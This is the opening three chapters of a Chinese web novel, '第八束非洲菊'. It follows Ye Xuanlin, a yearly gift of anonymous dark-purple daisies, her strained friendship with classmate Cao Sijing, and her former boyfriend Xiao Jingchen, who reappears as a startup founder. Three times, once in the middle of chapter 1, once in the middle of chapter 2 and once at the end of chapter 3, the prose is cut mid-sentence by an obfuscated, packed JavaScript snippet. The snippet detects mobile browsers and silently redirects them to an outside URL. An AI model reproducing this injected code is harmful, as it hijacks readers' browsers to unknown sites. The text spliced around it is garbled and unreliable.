《第八束非洲菊》 1. 第 1 章 五月二十号那一天,有人在叶玄霖的公寓门口放了一束暗紫色的非洲雏菊。 有人说,雏菊代表暗恋,快乐和纯洁的美,虽然紫得发黑的雏菊多少有点另类。可这已经是连续第八个年头了,每年这一天,总有人在她公寓门口放一束一模一样的非洲雏菊。 她回家,顺手把花束扔在厨房的吧台上,还是来打扫卫生的赵阿姨喜滋滋地把花插进了花瓶里,问她:“这到底是谁送的啊?” 打从叶玄霖记事起,赵阿姨就一直在她家里干活。小时候她家住在单位大院儿里,父母永远在全世界各地任职,留她一个人在家里,要多亏有赵阿姨在家里给她洗衣做饭,陪伴她长大。从某种程度上讲,赵阿姨比她自己的爹娘还亲。如今赵阿姨早到了退休的年纪,还执意要一周两次来帮她打扫卫生,任她怎么劝也不听。也辛亏有赵阿姨,若不是这样,她的住处恐怕早变成了狗窝。 赵阿姨恐怕也比她自己的爹娘更操心她的终身大事。记得八年前,赵阿姨第一次在门口发现一束暗紫色的非洲雏菊,就喜滋滋地唠叨说:“喜欢我家玄霖的人可真不少!这不又来一个?啧,这花颜色黑乎乎的,不好看……不过这是谁送的啊,也不留个卡片……该不会是那年被咱们大院儿警卫抓起来的那个小伙子吧?” 赵阿姨说的那个小伙子叫彭乐轩,是叶玄霖高中时同届不同班的同学。 遥想当年,她叶玄霖在睿文中学也算是一号人物,校服的花式穿法,食堂门口抗议肥肉太多的横幅,给古板的数学老师比武招亲的大幅海报,很多都出自她的手笔。睿文中学是历史悠久的名校,多的是埋头苦学的莘莘学子,难得出了她这么一名学习中庸但爱搞事的怪咖,搞得名声在外也很正常。和她同住在一个大院儿里的邻居谢宇航就常说她:“啧啧啧,你这样谁受得了你啊,怪不得你爸妈都逃到国外去了不肯回来,是怕被叫去学校挨骂丢人吧?” 这话在她听来十分刺耳。谢宇航说话向来刺耳,她从小最恨的人就是谢宇航,没有之一。 彭乐轩在学校里同她一样有名,名声却比她好太多。人家是个音乐诗歌小天才,会弹钢琴也会拉小提琴,每年学校文艺晚会都有他,人还长得眉清目秀,成绩优异。他们不同班,她和彭同学没任何交集,倒是她的同桌美女学神曹思静主持过多次学校的文艺晚会,和彭同学据说略有交情。 本来只是点头之交而已,不过中学生的脑洞有时候像宇宙黑洞一样大。明明没说过几句话的两个人,可以被普遍认为已经缘定终生。反正全校的同学都认为,彭乐轩喜欢曹思静,曹思静也喜欢彭乐轩,芳心暗许,就等一个毕业官宣。 她对这种事不甚关心,但架不住有心人(咳咳,谢某人)找她打听,她就挑了一个闲暇无事的中午休息时间,捅捅曹思静的胳膊肘,问她:“唉!听说你喜欢彭乐轩,是不是真的啊?” 曹思静此时戴着耳机正在背英语单词,被打扰十分不悦,本不想理叶玄霖,拗不过叶玄霖一直捅她,盯着书本冷冷回了一句:“没有。” 叶玄霖是不能容忍被忽视的性子,反倒来了劲,伸手过来摘掉曹思静的耳机,又追问了一句:“真的没有啊?骗人吧?我怎么听说彭乐轩也喜欢你?” 曹思静抬头白了她一眼,眼看着要恼了,夺回耳机说:“你有病!别动我的耳机!” 叶玄霖一直觉得曹思静这个人不坏。虽然平时对她常冷着脸,但美女学霸嘛,高傲一点是她的气场,平时她借她的作业抄她的试卷曹思静一般也不拒绝。老师把她这个混世魔王放在曹思静身边,也算是看在她父母的面子上对她的照顾,对曹思静来说一定是憋屈的安排。眼看曹思静要生气,她忙摸出书包里的蓝牙耳机递过去:“小姐姐别生气嘛,你那副耳机都快破了,别用了,这个送给你。” 曹思静狐疑地看了看她手里的蓝牙耳机,似乎犹豫了一秒钟说:“为什么送给我?这个很贵的,我不要。” 那时候的蓝牙耳机还是新鲜事物,对她叶玄霖来说却也不怎么稀罕。她忙把耳机塞进曹思静手里:“没事没事,这副是我爹妈在国外买给我的。我自己已经买了一副,多一副也是浪费,你拿着,物尽所用嘛。” 后来回想,她觉得自己小时候可能是故意的。父母在国外买给她的名牌衣物,电脑,游戏,各种电子产品,她统统都束之高阁,要不就干脆送人。潜意识里,她大概觉得父母因为长期不在家而心有愧疚,就玩儿命给她买东西以期补偿。而她不把那些东西放在眼里,就不必原谅他们在她生命中的缺席。 后来她把曹思静的话原封不动地转述给谢宇航:“没有,你有病!” 谢宇航却不大相信,眯着眼想了半晌说:“啧,可我觉得彭乐轩的眼神儿不大对头。” 她是真觉得谢宇航有病,好好一个七尺男儿,怎么就藏着这么一颗中年妇女的八卦之心?事实也证明他的判断谬之千里,因为高考结束,彭乐轩和曹思静并没有官宣,而是一个进了京畿著名学府,一个去了香港求学。 而她,凭实力落榜,可以选择去专科技校混日子,或接受父母的安排去国外的语言学校混日子,再去哪里的野鸡大学混个文凭。他父母即将赴港任职,她去香港找间学校就学也是一个选择。 她还没有想好,去哪里似乎都是无可无不可,没想到彭乐轩竟然找上门来,在某个月圆之夜在她家窗外的乱草丛中挥舞着吉他唱了一晚上“Hey Jude”,邻居们都听到了,谢宇航还乐呵呵带着几个大院儿的小伙伴们赶来围观,真叫她社死。她硬着头皮出去和彭乐轩交涉,彭乐轩诚恳地说:“我听说你没考好,没关系,别气馁也别放弃,我相信你,努力一年,一定能在香港找一间好学校……” 她因为太震惊,完全没反应过来要怎么回答。月光下天色朦胧,不妨碍她看见彭乐轩的脸可疑地红了红,对她说:“我觉得……香港的大学都挺不错的,我……可以帮你复习功课,我们一起努力。” 那时候她脑海里有“卧槽”两个大字像弹幕一样滑过。因为动静太大,不知是哪个邻居打了电话,惊动了大院儿警卫,彭乐轩被匆匆架走了。其实大院儿警戒完备,没人带领,彭乐轩不可能进得来。她去质问谢宇航,果然,人是他领进来的。 她向来讨厌谢宇航,这时候更恨他多事,咬牙切齿地问:“你怎么回事?我的事你能不能少掺和?” 谢宇航看热闹不嫌事儿大,幸灾乐祸地说:“人家早就对你有意思,求到我头上来,再说你也没人要,我就做个顺水人情的事儿,何乐而不为?” 她狐疑:“他对我有意思,你早就知道了?你不是说彭乐轩看曹思静的眼神儿不对吗?” 谢宇航又不承认:“我什么时候说过?” 当然,这已是多年之前的旧事,当时并未在她心里掀起多少波澜。彭乐轩去了香港就学,后来似乎在某个投行就业,并没有回京发展。年少时的悸动多数不值钱,来时莫名其妙,散时也转瞬即逝。当第一束非洲雏菊出现在她门口时,她和彭乐轩已经多年没有联系,因此根本不可能是他。 当时在她心里激起些波澜的却是曹思静。曹思静同她志趣不投,性格不合,她对曹思静的刻苦勤奋倒有几分佩服。她知道曹思静高考名列前茅,上了学校的通报,还听说她父母摆了庆功宴,请了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035817|162422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好几个老师。趁着曹思静开学之前,她去了一趟曹思静的家。 曹思静就住在睿文中学附近的一个老破小小区里。听其他同学讲,她家条件一般,父母是普通打工人,为了曹思静的学业搬到学校附近,每天上班通勤都要两个小时以上。那次她不请自来去了曹思静家,曹家父母听说她就是曹思静那位著名的同桌,都对她十分客气,端茶递水送水果,还同她寒暄了十分钟,甚至问候了她们素未谋面的叶家父母。好不容易等他们走了,叶玄霖才拿出书包里的笔记本电脑,递给曹思静说:“你买电脑了吗?我老爸又给我买了一个,可我自己已经买了两个了,这个给你吧,算我送你的毕业礼物。” 曹思静一直在低头忙着整理东西,对她照样是爱理不理的高冷模样,这时候头也不抬地回答:“不用,电脑我已经买好了。” 她也并未多想,无所谓地耸耸肩收回电脑说:“行。” 曹思静却忽然停下了手里的动作,抬头着意望了她一眼,又转身去柜子里拿出一大袋子东西。她探头好奇袋子里是什么,曹思静打开袋子,把东西一样样放在她面前:“还有这些——你送我的钱包,耳机,钢笔,原版书……我都没用过,全部还给你。” 她顿时觉得莫名其妙,笑了一声说:“怎么了?不喜欢吗?我送出去的东西还能收回来?你不喜欢就扔掉好了。” 曹思静却站在那里,沉默了片刻,半晌忽而抬眼问她:“你高考考砸了,是不是觉得很无所谓?” 她又耸耸肩。高考考砸了她自然也失望,但又不是她故意的,考砸了就考砸了呗,难道还要她磕头谢罪不成? 曹思静目光冷冽,又问:“听说彭乐轩上你们大院儿向你表白了?” 她看不出这和她高考失利有任何关系,只是觉得这是件让她社死的事,挣扎了片刻说:“也不算表白吧?他可能就是同情我高考考得不好,鼓励一下我这个后进同学……” 曹思静冷笑一声,打断她说:“我想买个好点的电脑,父母却一下子拿不出那么多钱。你知不知道,我为了买这个电脑,在麦当劳打了两个月的工?” 她越来越摸不着头脑,笑说:“早知道你跟我说呀,我这儿有现成儿的,我一个人又用不了三个电脑。” 曹思静看她的眼神像看一个白痴,沉默片刻,忽而自嘲地一笑说:“你听不懂我的话吧?也是,你怎么可能听得懂。” 她确实没听懂,只见曹思静的目光渐渐变得坚硬,最后对她一字一句地说:“我要辛辛苦苦奋斗才能得到的东西,你都唾手可得。得到的你都可以随意抛弃,得不到的你也不在意。你不在意,因为你有资本不在意。所以别假装你和我是朋友,我们根本不一样。” 那些话后来在她耳边回荡,令她久久不能平静。以前她真以为她和曹思静算朋友,只是曹思静刀子嘴豆腐心而已,毕竟她抄曹思静的作业,甚至抄她的考卷她也不曾拒绝过。别看她狐朋狗友挺多,被她真心对待的人却不多,曹思静算得上一个,到头来原来不过是她的一厢情愿而已。 至于她是不是真的什么都不在意,其实她也十分迷惘。高考失利,父母叫她去香港求学,她拒绝了,着实不想同他们朝夕相处。她没去香港,倒是憋着一股气复读了一年,难得的是真的认认真真心无旁骛地读了一年书,考到了京畿另一所知名学府,叫所有人都大跌眼镜。 她是个什么样的人,想要证明些什么,她自己也不大明白。她大学同寝室的姐妹夏雨晴分析说,她是典型的回避型人格,总是怕付出真心或努力但得不到回报,所以索性就不付出。这似乎有些道理,但又好像不完全是这样。 2. 第 2 章 说她没有付出过真心,也完全是个谬误。就在她大二那年,她就和一个人谈过一场轰轰烈烈的恋爱,那个男孩叫肖景辰。 说到她同肖景辰的相遇,其实也有几分俗气。那年时近期中,她在图书馆里为期中考试临时抱佛脚,一不小心就睡了过去,醒来匆匆赶去考试,把钱包手机统统落在图书馆里,恰好被肖景辰捡到。 说来也怪,他是隔壁学校的,根本不应该出现在她们学校的图书馆里,偶然来此地一游,就捡到了她丢的东西,这是不是也算一种命中注定? 他们在学校后门的咖啡馆见面,他把她的东西还给她,主动提出来加了她的微信,还说:“你们图书馆有我们学校没有的书,我在那里常常一坐就是一天。我在你们学校又不认识别人,这下可好了,下次我说不定能找你借的卡蹭个书看,我请你吃饭。” 换了别人如此自来熟,她肯定无情地拒绝。但肖景辰长得好看,阳光健康俊朗迷人,是看一眼就让人忍不住会心微笑的那种帅哥,她就半开玩笑地答应下来:“可以啊,听说你们学校帅哥多,我下次说不定也上你们学校图书馆来看个书。” 他又认真地说:“你什么时候要来我们学校,尽管找我。” 他说他在她们学校不认识任何人,她倒忽然想起来问:“你们学校我认识一个叫曹思静的,是我以前的……同学。你认识吗?” 肖景辰略想了想说:“不认识。” 曹思静读的是计算机专业,而肖景辰好像是什么天坑土木工程系的学生,他们两个不会认识很正常,只是她恍然发现,她和曹思静过了这么久没有联系,原来被伤过的感情还没有释然。刚才那一刻,她几乎脱口而出想说曹思静是她的朋友。 她和肖景辰的友情断断续续地发展着,不愠不火。她们学校的图书馆大概是有什么魔力,肖景辰隔三岔五会来一次找什么别处找不着的书。当然,有来无往非礼也,基本每次他都请她出去吃饭。追她的人也颇有几个,只是她从来提不起多大的兴致。肖景辰不讨厌,甚至内核稳定性格讨喜,她便任由着这种暧昧的氛围发展下去。他邀她出去吃饭的时候,十次里她也会去四五次。 这种若有若无的暧昧关系持续到五月份,天气热起来。有一天她从外面回来,宿舍楼底下传达室的大妈叫住她说:“叶玄霖,有快递,你过来取一下。” 快递装在一只精美的深紫色纸盒里:一本半旧的外文原版书,中间夹了几支干花。她翻了翻书的封面,发现是一本美国诗人e.e.cummings的诗集,夹着干花的那页正好是他最著名的情诗: i carry your heart with me (i carry it in my heart) i am never without it (anywhere i go you go, my dear; and whatever is done by only me is your doing, my darling)…… 我将你的心带上 (我将它放在我心上) 从未分离 (无论我前往何方都有你相伴,亲爱的, 无论我做何事都因你而成)…… 不知有谁会送一本皱巴巴的旧诗集给别人,大概是个纯情痴男,可惜她对爱情酸诗没什么感觉。倒是那几朵干花不同寻常——深紫色,紫得发黑,花瓣繁复,瑰丽而神秘,她见了莫名很喜欢。 她拍了张照片发了条朋友圈问:“收到几朵匿名者送的大黑花,很喜欢,谁知道是什么花?”很多人表示不认得,后来肖景辰私信她说:“那是非洲菊。” 她去网上查了查图片,果然找到了样子相似的非洲雏菊,至少颜色很像。肖景辰又一次出现的时候,手上就捧着这样一束暗紫色的雏菊。她问:“那盒子东西是你送的?送我这些作什么?” 他笑了笑不答话,略一停顿,把手里的花递给她说:“这周五有时间吗?你们学校门口新开了一家日料,我路过好几次了,要不要去试试?” 印象中的雏菊都是纯洁无辜的小白花,暗紫色的雏菊她从未见过,没来由地投了她的眼缘,也不知他从哪个犄角旮旯里找来的,让她竟然有种被人读懂的感觉,一下就答应下来:“好啊,那到时候见。” 周五是五月二十号,她后来才意识到。不过她想也无所谓,只是一顿饭而已,又不是要以身相许,只是后来那一周过得忙乱,他虽早早发来了地址和时间,但也许是太早了,她一忙竟然把这事忘在了脑后。恰巧那个周五下午大院儿的小伙伴们在群里喊了一句:今晚,老陈家的包厢,都来! 老陈是大院儿的小伙伴之一,老爸生意做得颇大。所谓老陈家的包厢,就是东大街上某会所里老陈和狐朋狗友们胡作非为的地方。她闲来无事,那天就去了,无非是像往常一样,喝酒K歌吹牛真心话大冒险。可惜她冤家路窄的小伙伴谢宇航并没有来,着实让这无聊趴体又增添了几分无聊。 酒过三巡,席间的气氛越来越热烈,真心话轮到她头上两次,让她不得不喝了几个shots,有点上头。一片喧嚷嘈杂里,她正寻思要不要早点撤退,包厢的门却打开了,谢宇航慢悠悠地晃进来,目光在包厢里一扫,看见她,似乎意外地愣了一愣。 既然是节日,小伙伴们都是成双成对来的,似乎只有他们两个落了单,就很自然地在一边聊了两句。她问:“怎么这么晚?我都差点走了。” 谢宇航停了停,才回答说:“前面还有别的事儿。” 她这才发现谢宇航的情绪似乎不大对头。往常拽得尾巴翘上天的谢某人此刻略低着头,仿佛被斗败的小鸡。她肯定不能放过这个千载难逢的机会,嘲他:“哟,前面什么事儿?看你这脸色,是被分手了?失恋?” 她以为他要怼回来:失恋?谁失恋?本公子怎么可能失恋?你没人要,你才失恋。没想到他不接话,片刻才抬眼一笑问:“大过节的,你怎么在这儿?没人给你送惊喜吗?那个送你黑莲花的人呢?” 谢宇航一定是看见了她的朋友圈。她嫌弃他没文化,反驳说:“什么黑莲花!那叫非洲雏菊!”说完了才想起来她确实约了人,拎起包赶紧撤退:“糟了,我迟到了。” 她一路小跑到楼下,招手叫了车,报了她跟肖景辰约好的餐厅。车子启动,窗外的晚风一吹,她才想起来该先打个电话。手机一直都在包里,此刻拿出来,才发现因为刚才包厢里吵得很,她已经错过了好多电话。同寝室的闺蜜夏雨晴打过一个电话,还有几通来电来自不知名的用户,剩下的就是一堆肖景辰的未接电话。 她给肖景辰回电话,对方却没接,她就发了条消息给他:“还在吗?对不起,我晚了。” 对方没有立刻回复,她便给夏雨晴回了个电话,没想到夏雨晴说:“我今天在超市打工,夜班下班和刘宇鹏一起去西大街上吃宵夜,你猜我看见谁?那个老来找你的肖景辰!” 此时肖景辰也回了她的消息。他简短地写道:“不在了。” 他们约了六点晚饭,此时已经将近十点,他当然是不可能还在。略一停顿,手机屏幕一闪,他又发过来几个字说:“没关系。” “不在了”,“没关系”。这两个回答简短得没有温度,和肖景辰平时春风和煦的气场大相径庭。那一刻她心里是有愧疚的,想了想,叫司机改道,去了西大街的方向。 她刚去的会所在东大街上,那是个灯火辉煌,流光溢彩的地方。西大街在城市另一边的城乡结合部,是烟火世俗,窝居陋巷的另一个世界。西大街上的小吃店多,夏日将临,很多店都把桌子凳子摆到人行道上来。她去的那家店叫“胖子烤串”,生意不错,店里店外坐满了人,烤肉油腻腻的浓烟一百名米开外都很呛人。 她站在马路对面观望了一阵,听到有顾客高喊一声:“服务员儿!”有人答应一声“来喽!”,就有一个瘦高个的年轻人从店后面走到街边来。 她印象中的肖景辰是个特别清爽整洁的人,通常是白T恤牛仔裤,即使是休闲随便的衣服也被他穿得一丝不苟。她不大注意男生身上的品牌,不过绝对看不出他浑身上下有一点点廉价的影子。这时候的肖景辰却不大一样,只见他穿着皱巴巴的T恤短裤,脚底踩着噼噼叭叭的拖鞋,在烟雾缭绕的烧烤架上夹了一盘子烤串送去客人桌边,放下盘子还在油到发黑的围裙上抹了抹手,不经意间抬眼,隔着阵阵油烟,看见马路对面目瞪口呆的她。 后来她走过去找了张桌子坐下,肖景辰过来招呼她,微微笑说:“要不我替你去后面找个地方?这里油烟太大。” 她强自镇定地回答:“不用,这儿挺好,坐在街边上凉快。” 胖子烤串生意兴隆,店里人来人往络绎不绝。她坐的这一桌大概是临时搭出来的,油腻腻的塑料桌子配似乎一坐就塌的小方凳。她好奇地看了看挂在墙上的菜单,价格不出所料十分亲民。店里似乎只有肖景辰一个服务员,因此他跑前跑后一刻也不得闲。一直等到将近午夜客人才稀少下来,肖景辰才有空到她的桌边来坐了一会儿。 油腻腻的烧烤不是她通常会吃的东西,但她觉得干坐着不好意思,点了一大堆东西摊在桌子上。肖景辰坐下来,默默扫视了一眼她根本没动过的食物,也没说什么。她好奇地问:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035818|162422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么会在这儿打工?” 他淡淡回答:“我舅舅就住在附近,认识这里老板。我找兼职,舅舅就把我介绍到这里来。这家店生意好,老板又照顾我,工资不错。” 她觉得不可理解:“可是要做到这么晚,挺辛苦的。你们学校附近肯定有家教之类的兼职,也不用跑这么远,不是更好?” 他说:“那些我也做。这里开得晚,我晚上才来,不耽误上课和其他的兼职。” 原本他今晚要请她去的日料店可也不便宜。她完全没料到他要做这么多事,脱口而出问:“为什么要做那么多兼职?你父母难道不给你生活费吗?” 他抬头望着她笑了笑说:“给啊,但不是很够,他们的经济条件也不是太好。” 他看她的目光,没来由地让她想到了曹思静,就是她高中毕业之后找去曹思静家的那一天。那天曹思静把她送的所有东西都还给她,跟她说:“别假装我们是朋友,我们根本就不一样。” 肖景辰的工作一直到后半夜才结束。最后一个客人离开已经是午夜,完了他还要收拾桌椅打扫卫生。她在一边无所事事颇是尴尬,找了把扫帚说:“我帮你吧。”他把扫帚抢回去,强行把她按在凳子上坐好,语气生硬地告诉她:“你坐这儿别动,等一会儿,我送你回学校。” 她一直等到他把卫生打扫完毕,去里面换了衣服。出来的时候他又变回了那个白T恤牛仔裤清清爽爽的男大学生。反倒是她,穿了一件MiuMiu去参加趴体,现在是一身烟熏火燎的烤肉味。 后来他送她回学校,两个人跑去地铁站一看,才想起来地铁早就没有了。她对他有一点愧疚,现在又增添了几分好奇,并不急着回去,正好她强迫自己吃了太多烤肉串,就提议随便散散步。 他们信步在夜里游荡,到了附近的小河旁。白天的红尘落尽,夜间的河边只有清风和拂柳。她为自己的大意道歉:“对不起,我放了你鸽子,你是不是很生气?” 他只轻声地回答:“也没有吧。” 曹思静曾经说她,因为什么都唾手可得,所以什么都不在意,什么都不珍惜。她一直觉得自己并不是这样,特别委屈,这时候觉得必须要替自己辩解,指天发誓说:“真的,我不是故意的,就是这周太忙了,忽然就忙忘了。” 他嘴角一扬笑起来:“我有什么好生气的?该说对不起的是我。”他说完这话停下来,目光调去远方的河面,片刻才继续说:“我从来没跟你说过我家里是什么样子。说实话,刚看见你出现的时候我心里一沉,想这下完了,被你发现了,可后来又觉得如释重负,终于被你发现了,以后也不必再装了。” 她耸耸肩表示无所谓。不就是打工,她没觉得他有义务向她报备。 他看她无所谓,反而沉默下来,笑了笑没有说话。那晚的月色很美,洒在死水微澜的河面上,仿佛来自异世空间。他们漫步在河边,越走越慢,却似乎一时间忽然找不出话来说。最后他停下脚步,从口袋里掏出一个盒子递给她:“这是本来打算今晚送给你的礼物,希望你喜欢。” 她接过来借着月色一看,他递给她的是一个浅蓝色的盒子,盒子里静静躺着一枚吊坠,钥匙的形状,中间镂空成花瓣的样子。这个牌子的首饰正好是她喜欢的,这一件她恰巧在店里见过,就叫“雏菊钥链”,价钱对于她来说不算什么,对于肖景辰来说一定相当贵了。她连忙把盒子塞还给他:“太贵了,不太好吧,你还是去退了吧。” 他没接,一扬眉,忽然冷下脸来:“为什么不太好?每一分钱都是我打工挣来的,我愿意怎么花是我自己的事。” 她绝没有看不起他的意思,连忙解释说:“我不是那个意思……就是,我没给你准备礼物,怎么好意思收你的东西。” 他抬眼看着她,月色里目光闪亮,神情又慢慢变得柔软,最后轻声说:“你来了就好,我很开心。” 她从来不觉得家庭背景会是什么阻碍,也不觉得追她必须要先“资质认证”。相反,那时候她是有一些感动的。有人为了和她在一起付出了那么大的努力,这是从来没有发生过的事。 那时候她刚满二十岁,喜欢化个烟熏妆过无拘无束的生活,以为自己很反叛,其实骨子里只是个渴望被爱的小孩,只要有人击破了她的外壳,里面基本毫无防御。爱情是个什么东西?其实不过是一种荷尔蒙,有时候因为一朵花,或者一句话,触动了心里某根神经,你也许会忽然觉得这是个对味儿的人。而她这个人不轻易交付自己,但一旦交付,便有点奋不顾身的意思。那条雏菊项链她就一直珍而重之地贴身戴着,戴了两年多,一直戴到她和肖景辰分手的那一天。 3. 第 3 章 多年之后,叶玄霖再一次和肖景辰有交集是因为公司想投的一个项目。 金融行业最不缺的就是二世祖和三世祖,她其实还算比较另类——本科虽然考进了名校,但不喜欢读书,大学里失了一场恋,草草毕业去英国混了个一年的金融水硕,回国打工。别人都去什么大摩小摩,她只进了一家规模一般的中资风投。 公司的老板叫章嘉佑,也算是圈内的一个风云人物。据说此人白手起家,早年就喊出要把国际领先技术带回国内的口号,忽悠了国内不少要人,拉了一票投资去硅谷找项目。但硅谷的风投圈也是个小圈子,外来者人傻钱多,很难找到立足点。章嘉佑起先吃过不少亏,后来学聪明了,参股了一家线上天使风投平台,通过平台掌握了优先权,平台的项目都要从他手上先过一遍。 章嘉佑对叶玄霖不错,开始招她大概一小半是看她本科大学这块牌子,一大半恐怕是看中她这二世祖的身份,后来看她能力也不错,渐渐让她在项目上也挑了大梁。她刚入公司的那几年,赵阿姨年年嘀咕:“你说这每年给你送花的人,该不会是你公司那个章先生吧?” 她无语,每次都要提醒赵阿姨:“章嘉佑已婚,还比我大将近二十岁!” 赵阿姨又总爱提起她在高级家政人员微信群里听来的八卦:“听说他们夫妻感情不好,又没孩子,闹离婚已经闹了好多年了!你当然不可能接受他,我只是说他说不定喜欢你呢?” 她一直觉得,凭赵阿姨的想象力,去做她爱看的那些狗血短剧的编剧也是绰绰有余,做家政属实是屈才了。直到有一天,章嘉佑的夫人意外身亡,微信群里传说章先生要火速二婚,赵阿姨又来报告:“听说是个小三,姓苏,农村来的,比他年轻二十岁!以前在金店卖首饰,姓章的买了几次首饰就被勾搭上了……” 叶玄霖在心里好笑。很好,“章先生”已经变成了“姓章的”,以后她应该不用再听赵阿姨那些无中生有的猜测了。 章嘉佑那天给了她一个项目,告诉她:“小叶,这个硅谷的项目你跟进一下。” 项目做的是一个Local Experience Marketplace(本地体验市场)的APP,面向本地年轻人和游客,融入一些时髦的AI元素,基本就是用户同APP的AI聊几句,AI会给用户连接找乐子的地方,包括但不仅限于:旅游项目,美食购物,户外室内及线上活动,甚至某些社交平台的用户群。项目还在天使轮,创始人的名字叫Jayden Shaw。 Jayden Shaw,乍一听肯定以为是个美国人,叶玄霖却很清楚那是谁。据说海外华人求职困难,有人会故意把自己的英文名改得中西莫辨,这样至少在简历审核这一轮不容易被刷掉。 公司美国分部的Nichole很快来电告诉她,下周会安排Jayden和她这边见面介绍情况。妮可姐是老板在华尔街雇来的职业经理人,是美貌与智力并存的女强人。硅谷的项目,大多是美国分部审查好了,推到总部这里来最后复核拍板,除了有什么大纰漏,一般都能过,这一次也不例外。妮可说:“Jayden问了你的背景和情况,说要好好准备一下。对了,他似乎家里有事,目前就在国内,下周可以和你面谈。” 对肖景辰这些年的经历,叶玄霖也并不陌生。当年分手,她自然是删光了对方所有的联系方式,后来在英国那阴湿晦暗的一年里,她又想了颇多,想来想去在IG上翻到肖景辰的账号,就这么偷偷关注了许多年,知道他硕士毕业,知道他进了硅谷大厂,知道他后来创业,甚至知道他哪天去海滩晒了太阳,哪天又看了部什么精彩的电视剧。 对于再次见面,她也做了充足的心理准备,没想到见面却是在猝不及防的场景。 为了协调和妮可在美国西岸的时间,他们的会约的是早上八点。这个时间对她着实不友好,早起为了节省时间坐了地铁,匆匆赶到公司楼下,就已经是快八点的光景。本来准备要从容应对的,现在下了地铁,只好飞奔到公司楼下的咖啡店里,来不及排队买咖啡,火速抓了一个三明治,一回头,正好看见有人站在玻璃窗外。 那人一手提着电脑包,一手拿着咖啡,站在早晨温煦的阳光下,同她四目相对,对她扬起嘴角笑了笑。 过去的肖景辰就很注重外表。那时候他还是个穷大学生,一身高仿就很能唬人。如今他身着阿玛尼黑色衬衫,卷起袖口积家翻转的腕表,一副成功人士的模样。 已经遇见了,她也不好装作没看见,在脸上堆起商业微笑,付了钱去门外打招呼,假装惊喜地说:“呀!肖景辰,你好你好,好久不见。” 阳光投在他的脸上。他微微笑了笑叫她的名字:“玄霖。” 她问:“这么巧啊,你怎么会在这儿?” 他保持微笑,没有正面回答,停了停从包里摸出一盒鲜奶递过来说:“没吃早饭?给你牛奶。” 以前他们在一起的时候,他是极尽体贴的完美男友,只要她说一句“饿了”,他会风雨无阻地赶过来送吃的。早上她睡懒觉,常常错过学校食堂放饭的时间,他甚至在上课前等在楼下给她送早餐,等她吃完了再赶回自己学校去上课。那时候他带的早饭花样翻新,但每次都有一盒她最爱的鲜奶。如今时过境迁,他熟稔地给她递吃的,她定了定神,客气地拒绝:“多谢,不用,我回公司去泡杯咖啡就好。” 他似乎有些许遗憾,笑说:“怎么,已经不喝牛奶了?” 她也跟着笑,回答说:“你知道谁喝牛奶吗?变态和猫咪。” You know who drinks milk? Perverts and kittens——这是美剧《继承之战》里的台词。肖景辰一定很爱这一部剧,曾经好几次在自己的IG上引用剧里的台词,这一句就是她在他IG上看来的。现在她有意无意地冒出这一句来,他听了脸上神色一顿,随即意味深长地笑起来。 她们并肩走去她公司所在的大楼。她前一天安排了一个男助理在楼下接肖景辰,这时候助理也已经等在了楼下。她自以为计划得十分得当,专门安排的男助理是今年大学刚毕业的新人,一米八几阳光俊朗,穿上黑西装挺拔如松,形象上佳,可惜在肖景辰身边一站,难免是显得青涩跳脱了一些。 会议进行得十分顺利。肖景辰准备了十分详尽的介绍,电话那头的妮可还说了不少好话。她是一副公事公办的态度,翻着PPT问了许多细节的问题,最后说:“谢谢肖先生提供的资料,我们这边会仔细地审核再给您答复。我已经和章先生聊过了,他本人也很看好这个项目的成长曲线,但该走的流程要走的,我们也许会要求肖先生提供更详细的数据,还请您这边配合。” 肖景辰点头答应。三方相谈甚欢,妮可也希望尽快促成投资协议,会议结束前在电话那头说:“其实我们发掘这个项目还多亏了玄霖。要不是玄霖跟章先生建议投资生活体验类的方向,我们这一期可能就投去别的地方了。” 肖景辰微笑的目光投来她的方向,她忍不住在心里翻了个白眼,暗暗怪妮可嘴碎。 会议结束,她亲自把肖景辰送到了楼下。十点多钟,楼下的人流还十分繁忙。他叫的车还暂时没有来,她陪他站在大楼门口等车,他说:“快中午了,要不我等你一下,一起吃个午饭?” 她礼貌地笑着说:“改天吧,今天可能不行。” 他接着问:“那晚上呢?” 她带点遗憾地说:“真不巧,其实我今天就要去出差,早上来公司就是为了和你开个会,这会儿得赶去机场了。” 他顿了顿,锲而不舍地问:“那我送你去机场吧?” 她抬腕看了看时间笑说:“多谢,不用了,我已经约了个朋友来送我。” 她向远处张望,正好看见自己的宝马MINI缓缓在车流中挣扎着开过来。车停在他们面前,谢宇航降下车窗,张嘴就抱怨:“叫你换车你怎么还不换?太小,憋屈死了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在英国的那一年里,她心情郁结,吃的也不好,不知不觉中得了慢性结肠炎,生冷都碰不得,有段时间连橙汁都必须在微波炉里热过了才能喝,吃遍了中药西药都毫无作用。她回国后,有一次谢宇航给她带了十七八种药丸来,告诉她:“试试这些,香港找的,说不定哪种就有效呢。” 也有人说香港东南亚有什么别处没有的肠胃药,可以找来试试,但那时候她父母已经离开香港去了中东任职,所以她也没特意去找,没想到谢宇航替她找来了。她惊叹:“这么多种!你托人买的?” 